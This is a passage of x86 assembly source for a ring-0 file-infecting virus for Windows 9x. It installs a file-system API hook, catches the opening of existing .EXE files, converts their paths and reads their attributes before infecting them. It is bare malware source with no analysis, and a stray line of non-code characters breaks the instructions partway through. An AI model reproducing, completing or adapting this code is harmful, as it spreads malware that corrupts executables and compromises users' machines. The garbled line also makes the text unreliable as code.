push dword ptr [esp 8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx
push eax
; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
逆@风@者
pop ecx
mov dr0, eax ; Adjust OldFileSystemApiHook Address
pop eax
pop ebx
ret
; *********************************************************
; * Static Data *
; *********************************************************
OldInstallFileSystemApiHook dd ?
; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************
; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************
FileSystemApiHook:
@3 = FileSystemApiHook
pushad
call @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAddress
add esi, VirusGameDataStartAddress-@5
; *************************************
; * Is OnBusy !? *
; *************************************
test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc
; *************************************
; * Is OpenFile !? *
; *************************************
; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp 20h 04h 04h]
cmp dword ptr [ebx], 00000024h
jne prevhook
; *************************************
; * Enable OnBusy *
; *************************************
inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy
; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************
add esi, FileNameBuffer-@6
push esi
mov al, [ebx 04h]
cmp al, 0ffh
je CallUniToBCSPath
add al, 40h
mov ah, ':'
mov [esi], eax
inc esi
inc esi
; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************
CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx 10h]
mov eax, [ebx 0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h
; *************************************
; * Is FileName '.EXE' !? *
; *************************************
cmp [esi eax-04h], 'EXE.'
pop esi
jne DisableOnBusy
IF DEBUG
; *************************************
; * Only for Debug *
; *************************************
cmp [esi eax-06h], 'KCUF'
jne DisableOnBusy
ENDIF
; *************************************
; * Is Open Existing File !? *
; *************************************
; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx 18h], 01h
jne DisableOnBusy
; *************************************
; * Get Attributes of the File *
; *************************************
mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h
jc DisableOnBusy
push ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************
mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
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